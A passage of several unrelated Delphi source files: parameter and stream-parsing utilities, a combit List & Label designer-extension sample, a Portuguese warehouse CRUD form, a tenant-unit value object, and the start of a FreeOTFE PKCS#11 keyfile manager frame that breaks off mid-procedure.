if P[0] = '"' then
begin
P := CharNext(P);
while (P[0] <> #0) and (P[0] <> '"') do
begin
Q := CharNext(P);
Inc(Len, Q - P);
P := Q;
end;
if P[0] <> #0 then
P := CharNext(P);
end
else
begin
Q := CharNext(P);
Inc(Len, Q - P);
P := Q;
end;
end;
SetLength(Param, Len);
P := Start;
S := Pointer(Param);
i := 0;
while P[0] > ' ' do
begin
if P[0] = '"' then
begin
P := CharNext(P);
while (P[0] <> #0) and (P[0] <> '"') do
begin
Q := CharNext(P);
while P < Q do
begin
S[i] := P^;
Inc(P);
Inc(i);
end;
end;
if P[0] <> #0 then P := CharNext(P);
end
else
begin
Q := CharNext(P);
while P < Q do
begin
S[i] := P^;
Inc(P);
Inc(i);
end;
end;
end;
Result := P;
end;
function ReadLnFromStream(Stream : TStream; AMaxLineLength: Integer = -1;
AExceptionIfEOF: Boolean = FALSE): String;
function FindEOL(ABuf: PChar; var VLineBufSize: Integer; var VCrEncountered: Boolean): Integer;
var
i: Integer;
begin
Result := VLineBufSize; //EOL not found => use all
i := 0; //[0..ALineBufSize-1]
while i < VLineBufSize do begin
case ABuf[i] of
AnsiLineFeed:
begin
Result := i; {string size}
VCrEncountered := TRUE;
VLineBufSize := i+1;
BREAK;
end;//LF
AnsiCarriageReturn:
begin
Result := i; {string size}
VCrEncountered := TRUE;
inc(i); //crLF?
if (i < VLineBufSize) and (ABuf[i] = AnsiLineFeed) then begin
VLineBufSize := i+1;
end
else begin
VLineBufSize := i;
end;
BREAK;
end;//CR
end;//case
Inc(i);
end;//while
End;//FindEOL
const
LBUFMAXSIZE = 2048;
var
LBufSize, LStringLen, LResultLen: Integer;
LBuf: packed array [0..LBUFMAXSIZE] of Char;
LStrmPos, LStrmSize: Integer; //LBytesToRead = stream size - Position
LCrEncountered: Boolean;
begin
if AMaxLineLength < 0 then begin
AMaxLineLength := MaxInt;
end;//if
LCrEncountered := FALSE;
Result := '';
{ we store the stream size for the whole routine to prevent
so do not incur a performance penalty with TStream.Size. It has
to use something such as Seek each time the size is obtained}
{LStrmPos := SrcStream.Position; LStrmSize:= SrcStream.Size; 4 seek vs 3 seek}
LStrmPos := Stream.Seek(0, soFromCurrent); //Position
LStrmSize:= Stream.Seek(0, soFromEnd); //Size
Stream.Seek(LStrmPos, soFromBeginning); //return position
if (LStrmSize - LStrmPos) > 0 then begin
while (LStrmPos < LStrmSize) and NOT LCrEncountered do begin
LBufSize := Min(LStrmSize - LStrmPos, LBUFMAXSIZE);
Stream.ReadBuffer(LBuf, LBufSize);
LStringLen := FindEOL(LBuf,LBufSize,LCrEncountered);
Inc(LStrmPos,LBufSize);
LResultLen := Length(Result);
if (LResultLen + LStringLen) > AMaxLineLength then begin
LStringLen := AMaxLineLength - LResultLen;
LCrEncountered := TRUE;
Dec(LStrmPos,LBufSize);
Inc(LStrmPos,LStringLen);
end;//if
SetLength(Result, LResultLen + LStringLen);
Move(LBuf[0], PChar(Result)[LResultLen], LStringLen);
end;//while
Stream.Position := LStrmPos;
end
else begin
if AExceptionIfEOF then begin
raise Exception.Create(Format('End of stream at %d',[LStrmPos])); //LOCALIZE
end;
end;//if NOT EOF
End;//ReadLn
function ParsePySourceEncoding(Textline : string): string;
var
RegExpr : TRegExpr;
begin
Result := '';
RegExpr := TRegExpr.Create;
try
RegExpr.Expression := 'coding[:=]\s*([-\w.]+)';
if RegExpr.Exec(TextLine) then
Result := RegExpr.Match[1];
finally
RegExpr.Free;
end;
end;
initialization
(* default is to return text without translation *)
Translate:= NoTranslate;
end.
|
{=====================================================================================
Copyright (C) combit GmbH
--------------------------------------------------------------------------------------
D: Dieses Beispiel demonstriert die Erweiterung des Designers mit eigenen Objekten
US: This example demonstrates how to extend the designer with your own objects
======================================================================================}
unit extfm;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, L28, L28dom, Menus, DB, ADODB, Registry, L28db
{$If CompilerVersion >=28} // >=XE7
, System.UITypes
{$ENDIF}
;
type
TDesExtForm = class(TForm)
GradientFillObject: TLL28XObject;
DesignButton: TButton;
Label1: TLabel;
Label2: TLabel;
PopupMenu1: TPopupMenu;
ColorDialog1: TColorDialog;
EditColor11: TMenuItem;
EditColor21: TMenuItem;
RomanNumber: TLL28XFunction;
Label3: TLabel;
Label4: TLabel;
chckBxDebug: TCheckBox;
ADOConnection1: TADOConnection;
Orders: TADOTable;
OrderDetails: TADOTable;
dsCustomers: TDataSource;
dsOrders: TDataSource;
LL: TDBL28_;
Customers: TADOTable;
CustomersCustomerID: TWideStringField;
CustomersContactName: TWideStringField;
CustomersAddress: TWideStringField;
CustomersCity: TWideStringField;
CustomersPhone: TWideStringField;
LL28XAction4: TLL28XAction;
procedure DesignButtonClick(Sender: TObject);
procedure LLDefineVariables(Sender: TObject; UserData: Integer;
IsDesignMode: Boolean; var Percentage: Integer;
var IsLastRecord: Boolean; var Result: Integer);
procedure GradientFillObjectDraw(Sender: TObject; Canvas: TCanvas;
Rect: TRect; IsDesignMode: Boolean; var IsFinished: Boolean);
procedure GradientFillObjectEdit(Sender: TObject;
ParentHandle: Cardinal; var HasChanged: Boolean);
procedure GradientFillObjectInitialCreation(Sender: TObject;
ParentHandle: Cardinal);
procedure EditColor1Click(Sender: TObject);
procedure EditColor2Click(Sender: TObject);
procedure LL28XAction1ExecuteAction;
procedure chckBxDebugClick(Sender: TObject);
procedure RomanNumberEvaluateFunction(Sender: TObject;
var ResultType: TLL28XFunctionParameterType;
var ResultValue: OleVariant; var DecimalPositions: Integer;
const ParameterCount: Integer; const Parameter1, Parameter2,
Parameter3, Parameter4: OleVariant);
procedure RomanNumberParameterAutoComplete(Sender: TObject;
ParameterIndex: Integer; var Values: TStringList);
procedure FormCreate(Sender: TObject);
procedure LL28XAction3ExecuteAction;
procedure LL28XAction4ExecuteAction;
private
workingPath: String;
procedure DeleteAllObjects();
procedure GenerateLLCustomerlistTemplate();
procedure GenerateLLStatisticTemplate();
procedure AddPieChart(container: TLlDOMObjectReportContainer);
public
{ Public declarations }
end;
var
DesExtForm: TDesExtForm;
objName: string;
implementation
uses
cmbtll28, gdi, clrSel, uquest, roman;
{$R *.dfm}
procedure TDesExtForm.DesignButtonClick(Sender: TObject);
begin
// D: Designer starten
// US: Start Designer
LL.AutoDesign('Designer Extension Sample');
end;
procedure TDesExtForm.LLDefineVariables(Sender: TObject; UserData: Integer;
IsDesignMode: Boolean; var Percentage: Integer;
var IsLastRecord: Boolean; var Result: Integer);
begin
// D: Nur einen Datensatz drucken
// US: Print only one record
if not IsDesignMode then
IsLastRecord:=true;
end;
procedure TDesExtForm.GradientFillObjectDraw(Sender: TObject;
Canvas: TCanvas; Rect: TRect; IsDesignMode: Boolean;
var IsFinished: Boolean);
var
color1, color2: TColor;
color1Str, color2Str: string;
code: integer;
begin
with Sender as TLL28XObject do
begin
Properties.GetValue('Color1',color1Str);
Properties.GetValue('Color2',color2Str);
val(color1Str,color1,code);
val(color2Str,color2,code);
// D: Objekt zeichnen
// US: Draw object
MyGradientFill(Canvas, Rect, color1, color2);
end;
end;
procedure TDesExtForm.GradientFillObjectEdit(Sender: TObject;
ParentHandle: Cardinal; var HasChanged: Boolean);
var
color1, color2: TColor;
color1Str, color2Str: string;
code: integer;
begin
// D: Objekt bearbeiten
// US: Edit object
HasChanged:=False;
with Sender as TLL28XObject do
begin
// D: Dialog initialisieren
// US: Initialize dialog
Properties.GetValue('Color1',color1Str);
Properties.GetValue('Color2',color2Str);
val(color1Str,color1,code);
val(color2Str,color2,code);
with ColorSelectForm do
begin
SelColor1:=Color1;
SelColor2:=Color2;
// D: Dialog anzeigen
// US: Display dialog
if ShowModal = mrOK then
begin
// D: Neue Werte an Objekt übergeben
// US: Pass new values to object
Properties.AddProperty('Color1', Format('%d', [SelColor1]));
Properties.AddProperty('Color2', Format('%d', [SelColor2]));
HasChanged:=True;
end;
end;
end;
end;
procedure TDesExtForm.GradientFillObjectInitialCreation(Sender: TObject;
ParentHandle: Cardinal);
begin
with Sender as TLL28XObject do
begin
// D: Objekt initialisieren
// US: Initialize object
Properties.AddProperty('Color1', '255'); // $0000FF
Properties.AddProperty('Color2', '65280'); // $00FF00
end;
end;
procedure TDesExtForm.EditColor1Click(Sender: TObject);
var
colorStr: string;
code: integer;
CurrentColor: TColorref;
begin
// D: Kontextmenuehandler für Farbe 1
// US: Handler for "Color 1" context menu
with (Sender as TLL28XObject) do
begin
Properties.GetValue('Color1',colorStr);
val(colorStr,CurrentColor,code);
with ColorDialog1 do
begin
Color:=CurrentColor;
if Execute then
begin
CurrentColor:=Color;
Properties.AddProperty('Color1', Format('%d', [CurrentColor]));
end;
end;
end;
end;
procedure TDesExtForm.EditColor2Click(Sender: TObject);
var
colorStr: string;
code: integer;
CurrentColor: TColorref;
begin
// D: Kontextmenuehandler für Farbe 2
// US: Handler for "Color 2" context menu
with (Sender as TLL28XObject) do
begin
Properties.GetValue('Color2',colorStr);
val(colorStr,CurrentColor,code);
with ColorDialog1 do
begin
Color:=CurrentColor;
if Execute then
begin
CurrentColor:=Color;
Properties.AddProperty('Color2', Format('%d', [CurrentColor]));
end;
end;
end;
end;
procedure TDesExtForm.LL28XAction1ExecuteAction;
var
proj: TLlDOMProjectList;
found: boolean;
i: integer;
begin
proj := TLlDOMProjectList.Create(LL);
proj.GetFromParent();
frmquest.ShowModal;
if objName = '' then
exit;
proj.DesignerRedraw := 'False';
found := false;
for i := 0 to proj.ObjectList.Count - 1 do
begin
if TLlDOMObjectBase(proj.ObjectList.Items[i]).Name = objName then
begin
found := true;
TLlDOMObjectBase(proj.ObjectList.Items[i]).Selected := 'True';
end else
TLlDOMObjectBase(proj.ObjectList.Items[i]).Selected := 'False';
end;
proj.DesignerRedraw := 'True';
if not found then
ShowMessage('The object could not be found.');
end;
procedure TDesExtForm.chckBxDebugClick(Sender: TObject);
{D: (De)aktiviert Debug-Ausgaben }
{US: enables or disables debug output }
begin
If chckBxDebug.checked=true
then
begin
LL.DebugMode:=1;
MessageDlg('D: DEBWIN muss zur Anzeige von Debugausgaben gestartet werden'+#13
+'US: Start DEBWIN to receive debug messages', mtInformation,
[mbOK],0);
end
else LL.DebugMode:=0;
end;
procedure TDesExtForm.RomanNumberEvaluateFunction(Sender: TObject;
var ResultType: TLL28XFunctionParameterType; var ResultValue: OleVariant;
var DecimalPositions: Integer; const ParameterCount: Integer;
const Parameter1, Parameter2, Parameter3, Parameter4: OleVariant);
begin
// D: Funktionsberechnung
// US: Actual function evaluation
ResultValue:=ToRoman(Parameter1);
end;
procedure TDesExtForm.RomanNumberParameterAutoComplete(Sender: TObject;
ParameterIndex: Integer; var Values: TStringList);
var index: integer;
begin
// D: Werte für Auto-Complete vorgeben. Hier einfach nur "1".."9"
// US: Offer auto complete values. For this sample just add "1".."9"
for index:=1 to 9 do
begin
Values.Add(Format('%d',[index]));
end;
end;
procedure TDesExtForm.FormCreate(Sender: TObject);
var registry: TRegistry;
var regKeyPath: String;
var dbPath: String;
var tmp: String;
begin
// D: Datenbankpfad auslesen
// US: Read database path
registry := TRegistry.Create();
registry.RootKey := HKEY_CURRENT_USER;
regKeyPath := 'Software\combit\cmbtll\';
if registry.KeyExists(regKeyPath) then
begin
if registry.OpenKeyReadOnly(regKeyPath) then
begin
dbPath := registry.ReadString('NWINDPath');
tmp := registry.ReadString('LL' + IntToStr(LL.LlGetVersion(LL_VERSION_MAJOR)) + 'SampleDir');
if (tmp[Length(tmp)] = '\') then
begin
workingPath := tmp + 'Delphi\BDE (Legacy)\Samples\';
end
else
workingPath := tmp + '\Delphi\BDE (Legacy)\Samples\';
registry.CloseKey();
end;
end;
registry.Free();
if (dbPath = '') OR (workingPath = '') then
begin
ShowMessage('Unable to find sample database. Make sure List & Label is installed correctly.');
exit;
end;
// D: Verzeichnis setzen
// US: Set current dir
workingPath := GetCurrentDir() + '\';
LL.AutoDesignerFile := workingPath + 'desext.lst';
if not ADOConnection1.Connected then
begin
ADOConnection1.ConnectionString := 'Provider=Microsoft.Jet.OLEDB.4.0;' +
'User ID=Admin;' +
'Data Source=' + dbPath + ';' +
'Mode=Share Deny None;' +
'Extended Properties="";' +
'Jet OLEDB:Engine Type=4;';
ADOConnection1.Connected := true;
Customers.Active := true;
Orders.Active := true;
OrderDetails.Active := true;
end;
end;
procedure TDesExtForm.DeleteAllObjects;
var
proj: TLlDOMProjectList;
begin
proj := TLlDOMProjectList.Create(LL);
proj.GetFromParent();
proj.DesignerRedraw := 'False';
while (proj.ObjectList.Count <>0) do
begin
proj.ObjectList.DeleteSubobject(0);
end;
proj.DesignerRedraw := 'True';
end;
procedure TDesExtForm.GenerateLLCustomerlistTemplate;
var
lldomproj: TLlDomProjectList;
llobjText: TLlDOMObjectText;
llobjParagraph: TLlDOMParagraph;
llobjDrawing: TLlDOMObjectDrawing;
container: TLlDOMObjectReportContainer;
table: TLlDOMSubItemTable;
tableLineData: TLlDOMTableLineData;
tableLineHeader: TLlDOMTableLineHeader;
header, tableField: TLlDOMTableFieldText;
i, Height, Width: integer;
fieldWidth: string;
begin
//D: Das DOM Objekt an ein List & Label Objekt binden
//US: Bind the DOM object to a List & Label object
lldomproj := TLlDomProjectList.Create(LL);
lldomproj.GetFromParent();
//D: Mit dieser Eigenschaft kann die Seitenausrichtung bestimmt werden
//US: With this property you can set the page orientation
lldomproj.Regions[0].Paper.Orientation := '1';
//D: Eine neue Projektbeschreibung dem Projekt zuweisen
//US: Assign new project description to the project
lldomproj.ProjectParameterList.ItemName['LL.ProjectDescription'].Contents := 'Dynamically created Project';
//D: Ein leeres Text Objekt erstellen
//US: Create an empty text object
llobjText := TLlDOMObjectText.Create(lldomproj.ObjectList);
//D: Auslesen der Seitenkoordinaten der ersten Seite
//US: Get the coordinates for the first page
Height := StrToInt(lldomproj.Regions[0].Paper.Extent.Vertical);
Width := StrToInt(lldomproj.Regions[0].Paper.Extent.Horizontal);
//D: Setzen von Eigenschaften für das Textobjekt
//US: Set some properties for the text object
llobjText.Position.Define(10000, 10000, Width-65000, 27000);
//D: Hinzufügen eines Paragraphen und setzen diverser Eigenschaften
//US: Add a paragraph to the text object and set some properties
llobjParagraph := TLlDOMParagraph.Create(llobjText.Paragraphs);
llobjParagraph.Contents := '"Template for your customer list"';
llobjParagraph.Font.Size := '18';
llobjParagraph.Font.Bold := 'True';
//D: Hinzufügen eines Grafikobjekts
//US: Add a drawing object
llobjDrawing := TLlDOMObjectDrawing.Create(lldomproj.ObjectList);
llobjDrawing.Source.Fileinfo.Filename := 'sunshine.gif';
llobjDrawing.Position.Define(Width - 50000, 10000, Width - (Width - 40000), 27000);
//D: Hinzufügen eines Tabellencontainers und setzen diverser Eigenschaften
//US: Add a table container and set some properties
container := TLlDOMObjectReportContainer.Create(lldomproj.ObjectList);
container.Position.Define(10000, 40000, Width - 20000, Height - 44000);
//D: In dem Tabellencontainer eine Tabelle hinzufügen
//US: Add a table into the table container
table := TLlDOMSubItemTable.Create(container.SubItems);
table.TableID := 'Customers';
//D: Zebramuster für Tabelle definieren
//US: Define zebra pattern for table
table.LineOptions.Data.ZebraPattern.Style := '1';
table.LineOptions.Data.ZebraPattern.Pattern := '1';
table.LineOptions.Data.ZebraPattern.Color := 'RGB(225,225,225)';
//D: Eine neue Datenzeile hinzufügen mit allen ausgewählten Feldern
//US: Add a new data line including all selected fields
tableLineData := TLlDOMTableLineData.Create(table.Lines.Data);
tableLineHeader := TLlDOMTableLineHeader.Create(table.Lines.Header);
for i := 0 to 5 - 1 do
begin
fieldWidth := Format('%f', [StrToInt(container.Position.Width) / 5]);
//D: Kopfzeile definieren
//US: Define head line
header := TLlDOMTableFieldText.Create(tableLineHeader.Fields);
header.Contents := '"' + Customers.Fields[i].FieldName + '"';
header.Filling.Style := '1';
header.Filling.Color := 'RGB(255,153,51)';
header.Font.Bold := 'True';
header.Width := fieldWidth;
//D: Datenzeile definieren
//US: Define data line
tableField := TLlDOMTableFieldText.Create(tableLineData.Fields);
tableField.Contents := 'Customers.' + Customers.Fields[i].FieldName;
tableField.Width := fieldWidth;
end;
lldomproj.DesignerRedraw := 'True';
lldomproj.Free;
end;
procedure TDesExtForm.LL28XAction3ExecuteAction;
var proj: TLlDomProjectList;
begin
//D: Alle Objekte im Designer löschen
//US: Delete all objects within the Designer
DeleteAllObjects();
proj := TLlDOMProjectList.Create(LL);
proj.GetFromParent();
proj.DesignerRedraw := 'False';
//D: Druckvorlage per DOM erzeugen
//US: Create the template via DOM
GenerateLLCustomerlistTemplate();
proj.DesignerRedraw := 'True';
end;
procedure TDesExtForm.GenerateLLStatisticTemplate;
var
lldomproj: TLlDomProjectList;
llobjText: TLlDOMObjectText;
llobjParagraph: TLlDOMParagraph;
llobjDrawing: TLlDOMObjectDrawing;
container: TLlDOMObjectReportContainer;
llobjHelper: TLlDOMObjectRectangle;
Height, Width: integer;
begin
//D: Das DOM Objekt an ein List & Label Objekt binden
//US: Bind the DOM object to a List & Label object
lldomproj := TLlDomProjectList.Create(LL);
lldomproj.GetFromParent();
//D: Mit dieser Eigenschaft kann die Seitenausrichtung bestimmt werden
//US: With this property you can set the page orientation
lldomproj.Regions[0].Paper.Orientation := '2';
//D: Eine neue Projektbeschreibung dem Projekt zuweisen
//US: Assign new project description to the project
lldomproj.ProjectParameterList.ItemName['LL.ProjectDescription'].Contents := 'Dynamically created Project';
//D: Ein leeres Text Objekt erstellen
//US: Create an empty text object
llobjText := TLlDOMObjectText.Create(lldomproj.ObjectList);
//D: Auslesen der Seitenkoordinaten der ersten Seite
//US: Get the coordinates for the first page
Height := StrToInt(lldomproj.Regions[0].Paper.Extent.Vertical);
Width := StrToInt(lldomproj.Regions[0].Paper.Extent.Horizontal);
//D: Setzen von Eigenschaften für das Textobjekt
//US: Set some properties for the text object
llobjText.Position.Define(10000, 10000, Width-65000, 27000);
llobjText.LayerID := '1';
//D: Hinzufügen eines Paragraphen und setzen diverser Eigenschaften
//US: Add a paragraph to the text object and set some properties
llobjParagraph := TLlDOMParagraph.Create(llobjText.Paragraphs);
llobjParagraph.Contents := '"Template for your statistic"';
llobjParagraph.Font.Bold := 'True';
//D: Hinzufügen eines Grafikobjekts
//US: Add a drawing object
llobjDrawing := TLlDOMObjectDrawing.Create(lldomproj.ObjectList);
llobjDrawing.Source.Fileinfo.Filename := 'sunshine.gif';
llobjDrawing.Position.Define(Width - 50000, 10000, Width - (Width - 40000), 27000);
llobjDrawing.LayerID := '1';
//D: Hinzufügen eines Tabellencontainers und setzen diverser Eigenschaften
//US: Add a table container and set some properties
container := TLlDOMObjectReportContainer.Create(lldomproj.ObjectList);
container.Position.Define(10000, 40000, Width - 20000, Height - 44000);
AddPieChart(container);
//D: Hinzufügen eines Hilfs-Rechtecks. Wird verwendet um den Tabellencontainer auf der ersten Seite unterhalb der Überschrift anzuzeigen
//US: Add a helper rectangle. This will be used for showing the tablecontainer at the first page under the title
llobjHelper := TLlDOMObjectRectangle.Create(lldomproj.ObjectList);
//D: Setzen von Eigenschaften für das Rechteck
//US: Set some properties for the rectangle
llobjHelper.Position.Define(10000, 10000, 1, 30000);
llobjHelper.LayerID := '1';
llobjHelper.Frame.Color := 'RGB(255, 255, 255)';
//D: Den Berichtscontainer mit dem Rechteck Objekt verketten, so dass der Container auf den Folgeseiten mehr Platz einnimmt
//US: Link the report container to the rectangle object in order to fill up space on following pages
container.LinkTo(llobjHelper, TLlDOMVerticalLinkType.RelativeToEnd, TLlDOMVerticalSizeAdaptionType.Inverse);
end;
procedure TDesExtForm.AddPieChart(container: TLlDOMObjectReportContainer);
var
chart: TLlDOMSubItemChart;
engine: TLlDOMPropertyChartEnginePie3D;
curr: TLlDOMPropertyOutputFormatterCurrency;
begin
//D: In dem Container ein Chart-Objekt hinzufügen und dessen Namen vergeben.
//US: Add a chart into the container and define its name.
chart := TLlDOMSubItemChart.Create(ctPie3D, container.SubItems);
chart.Name := 'Pie3D';
//D: Die Tabelle festlegen, aus der die Daten stammen sollen. Als Datenquelle wird die Tabelle "Order_Details" verwendet.
//US: Define the source table. We use the "Order_Details" table as data source.
chart.SourceTablePath := 'Customers;Orders(Customers2Orders);Order_Details(Orders2Order Details)';
//D: Die Überschrift des Charts kann hier angegeben werden
//US: Define the chart title with the following line
chart.Definition.Title.Contents := '"Customer statistic"';
chart.Definition.Background.Visible := 'True';
chart.Definition.Background.Rounding := '25';
chart.Definition.Background.Filling.Style := '2';
chart.Definition.Background.Filling.Alpha := '50';
chart.Definition.Background.Filling.Color := 'LL.Color.SkyBlue';
chart.Definition.Background.Filling.Pattern := '2';
chart.Definition.ChartEngine.Flat := 'False';
//D: Um Zugriff auf die Chart-Engine zu bekommen, muss diese zunächst in den passenden Typ konvertiert werden
//US: To access the chart-engine, it is necessary to convert it in the suitable type at first
engine := chart.Definition.ChartEngine as TLlDOMPropertyChartEnginePie3D;
//D: In den folgenden Zeilen wird die Datenquelle angegeben
//US: In the following lines, the data source is defined
engine.XAxis.Value := 'Customers.CustomerID';
engine.YAxis[0].Value := 'Order_Details.UnitPrice*Order_Details.Quantity';
engine.YAxis[0].CoordinateLabelOnObject.Placement := '1';
engine.YAxis[0].CoordinateLabelOnObject.Formula := '1';
engine.YAxis[0].ExplosionPercentage := '10';
engine.YAxis[0].Width := '75';
//D: Formatierung für die Legende
//US: Define the legend format
curr := TLlDOMPropertyOutputFormatterCurrency.Create(engine.YAxis[0].CoordinateLabelOnObject.OutputFormatter);
//D: Eine Anzahl von zwei Nachkommastellen
//US: A number of two decimal places
curr.CountOfDecimals := '2';
end;
procedure TDesExtForm.LL28XAction4ExecuteAction;
var proj: TLlDomProjectList;
begin
//D: Alle Objekte im Designer löschen
//US: Delete all objects within the Designer
DeleteAllObjects();
proj := TLlDOMProjectList.Create(LL);
proj.GetFromParent();
proj.DesignerRedraw := 'False';
//D: Druckvorlage per DOM erzeugen
//US: Create the template via DOM
GenerateLLStatisticTemplate();
proj.DesignerRedraw := 'True';
end;
end.
|
unit UFrmCadastroDeposito;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, UFrmCRUD, Menus, Buttons, StdCtrls, ExtCtrls,
UUtilitarios,
UDeposito,
URegraCRUDDeposito,
URegraCRUDEmpresaMatriz;
type
TFrmCadastroDeposito = class(TFrmCRUD)
gbInformacoes: TGroupBox;
lbEmpresa: TLabel;
edDescricao: TLabeledEdit;
btnLocalizarEmpresa: TButton;
edEmpresa: TEdit;
stNomeEmpresa: TStaticText;
procedure btnLocalizarEmpresaClick(Sender: TObject);
procedure edEmpresaExit(Sender: TObject);
protected
FDEPOSITO: TDEPOSITO;
FRegraCRUDEmpresa: TregraCRUDEEmpresaMatriz;
FregraCRUDDeposito: TregraCRUDDEPOSITO;
procedure Inicializa; override;
procedure Finaliza; override;
procedure PreencheEntidade; override;
procedure PreencheFormulario; override;
procedure PosicionaCursorPrimeiroCampo; override;
procedure HabilitaCampos(const ceTipoOperacaoUsuario: TTipoOperacaoUsuario); override;
private
{ Private declarations }
public
{ Public declarations }
end;
var
FrmCadastroDeposito: TFrmCadastroDeposito;
implementation
uses
UOpcaoPesquisa
, UEntidade
, UFrmPesquisa
, UEmpresaMatriz
, UDialogo
;
{$R *.dfm}
procedure TFrmCadastroDeposito.btnLocalizarEmpresaClick(Sender: TObject);
begin
inherited;
edEmpresa.Text := TfrmPesquisa.MostrarPesquisa(TOpcaoPesquisa
.Create
.DefineVisao(VW_EMPRESA)
.DefineNomeCampoRetorno(VW_EMPRESA_ID)
.DefineNomePesquisa(STR_EMPRESAMATRIZ)
.AdicionaFiltro(VW_EMPRESA_NOME));
if Trim(edEmpresa.Text) <> EmptyStr then
edEmpresa.OnExit(btnLocalizarEmpresa);
end;
procedure TFrmCadastroDeposito.edEmpresaExit(Sender: TObject);
begin
inherited;
stNomeEmpresa.Caption := EmptyStr;
if Trim(edEmpresa.Text) <> EmptyStr then
try
FRegraCRUDEmpresa.ValidaExistencia(StrToIntDef(edEmpresa.Text, 0));
FDEPOSITO.FEMPRESA := TEmpresa(
FRegraCRUDEmpresa.Retorna(StrToIntDef(edEmpresa.Text, 0)));
stNomeEmpresa.Caption := FDEPOSITO.FEMPRESA.NOME;
except
on E: Exception do
begin
TDialogo.Excecao(E);
edEmpresa.SetFocus;
end;
end;
end;
procedure TFrmCadastroDeposito.Finaliza;
begin
inherited;
FreeAndNil(FRegraCRUDEmpresa);
end;
procedure TFrmCadastroDeposito.HabilitaCampos(
const ceTipoOperacaoUsuario: TTipoOperacaoUsuario);
begin
inherited;
gbInformacoes.Enabled := FTipoOperacaoUsuario In [touInsercao, touAtualizacao];
end;
procedure TFrmCadastroDeposito.Inicializa;
begin
inherited;
DefineEntidade(@FDEPOSITO, TDEPOSITO);
DefineRegraCRUD(@FregraCRUDDeposito, TregraCRUDDEPOSITO);
AdicionaOpcaoPesquisa(TOpcaoPesquisa
.Create
.AdicionaFiltro(FLD_DEPOSITO_DESCRICAO)
.DefineNomeCampoRetorno(FLD_ENTIDADE_ID)
.DefineNomePesquisa(STR_DEPOSITO)
.DefineVisao(TBL_DEPOSITO));
FRegraCRUDEmpresa := TregraCRUDEEmpresaMatriz.Create;
end;
procedure TFrmCadastroDeposito.PosicionaCursorPrimeiroCampo;
begin
inherited;
edDescricao.SetFocus;
end;
procedure TFrmCadastroDeposito.PreencheEntidade;
begin
inherited;
FDEPOSITO.DESCRICAO := edDescricao.Text;
end;
procedure TFrmCadastroDeposito.PreencheFormulario;
begin
inherited;
edDescricao.Text := FDEPOSITO.DESCRICAO;
edEmpresa.Text := IntToStr(FDEPOSITO.FEMPRESA.ID);
stNomeEmpresa.Caption := FDEPOSITO.FEMPRESA.NOME;
end;
end.
|
unit UInquilinoUnidadeVO;
interface
uses Atributos, Classes, Constantes, Generics.Collections, SysUtils, UGenericVO, UCondominioVO, UPessoasVO;
type
[TEntity]
[TTable('InquilinoUnidade')]
TInquilinoUnidadeVO = class(TGenericVO)
private
FidInquilinounidade: Integer;
FidUnidade: Integer;
FidPessoa : Integer;
FdtInicio : TdateTime;
FNomePessoa : string;
public
CondominioVO : TCondominioVO;
PessoaVo : TPessoasVO;
[TId('idinquilinounidade')]
[TGeneratedValue(sAuto)]
property idInquilinounidade: Integer read FidInquilinounidade write FidInquilinounidade;
[TColumn('nome','Pessoa',500,[ldGrid], True, 'Pessoa', 'idPessoa', 'idPessoa')]
property NomePessoa: string read FNomePessoa write FNomePessoa;
[TColumn('idunidade','Unidade',50,[ldLookup,ldComboBox], False)]
property IdUnidade: Integer read FidUnidade write FidUnidade;
[TColumn('idpessoa','id Pessoa',50,[ldLookup,ldComboBox], False)]
property idPessoa: Integer read FidPessoa write FidPessoa;
[TColumn('DtInicio','Data Inicio',70,[ldGrid,ldLookup,ldComboBox], False)]
property DtInicio: TDateTime read FdtInicio write FdtInicio;
procedure ValidarCampos;
end;
implementation
{ TProprietarioUnidadeVO }
procedure TInquilinoUnidadeVO.ValidarCampos;
begin
if (Self.FidPessoa = 0) then
begin
raise Exception.Create('O campo Inquilino é obrigatório!');
end
else if (self.FdtInicio = 0) then
begin
raise Exception.Create('O campo data é obrigatório!');
end;
end;
end.
|
unit fmePKCS11_MgrKeyfile;
interface
uses
ActnList, Classes, Controls, Dialogs, Forms,
Graphics, Menus, Messages, fmePKCS11_MgrBase,
PKCS11Lib, pkcs11_session,
lcDialogs, StdCtrls,
SysUtils, Variants, Windows, SDUDialogs;
type
TfmePKCS11_MgrKeyfile = class (TfmePKCS11Mgr)
Label1: TLabel;
pbImport: TButton;
pbDelete: TButton;
pbExport: TButton;
lbCDB: TListBox;
OpenDialog: TSDUOpenDialog;
SaveDialog: TSDUSaveDialog;
actImport: TAction;
actExport: TAction;
actDelete: TAction;
N1: TMenuItem;
Import1: TMenuItem;
Export1: TMenuItem;
Delete1: TMenuItem;
N2: TMenuItem;
procedure lbCDBClick(Sender: TObject);
procedure FrameResize(Sender: TObject);
procedure actImportExecute(Sender: TObject);
procedure actExportExecute(Sender: TObject);
procedure actDeleteExecute(Sender: TObject);
PRIVATE
FTokenCDBs: TPKCS11CDBPtrArray;
procedure PopulateCDB();
PROTECTED
procedure Refresh(); OVERRIDE;
PUBLIC
constructor Create(AOwner: TComponent); OVERRIDE;
destructor Destroy(); OVERRIDE;
procedure Initialize(); OVERRIDE;
procedure EnableDisableControls(); OVERRIDE;
end;
implementation
{$R *.dfm}
uses
DriverAPI,
OTFEFreeOTFE_U,
OTFEFreeOTFEBase_U,
SDUGeneral,
SDUi18n,
Shredder;
{$IFDEF _NEVER_DEFINED}
// This is just a dummy const to fool dxGetText when extracting message
// information
// This const is never used; it's #ifdef'd out - SDUCRLF in the code refers to
// picks up SDUGeneral.SDUCRLF
const
SDUCRLF = ''#13#10;
{$ENDIF}
procedure TfmePKCS11_MgrKeyfile.actDeleteExecute(Sender: TObject);
var
i: Integer;
errMsg: String;
currObj: PPKCS11CDB;
opOK: Boolean;
csrPrev: TCursor;
stlDeletedOK: TStringList;
stlDeletedFail: TStringList;
msg: String;
msgType: TMsgDlgType;
msgList: String;
begin
inherited;
if SDUConfirmYN(_('Are you sure you wish to delete the selected keyfiles from the token?')) then
begin
stlDeletedOK := TStringList.Create();
stlDeletedFail := TStringList.Create();
try
for i := 0 to (lbCDB.items.Count - 1) do begin
if lbCDB.Selected[i] then begin
currObj := PPKCS11CDB(lbCDB.items.Objects[i]);
csrPrev := screen.Cursor;
screen.Cursor := crHourglass;
try
opOK := DestroyPKCS11CDB(FPKCS11Session, currObj, errMsg)
finally
screen.Cursor := csrPrev;
end;
if opOK then begin
stlDeletedOK.Add(currObj.XLabel);
end else begin
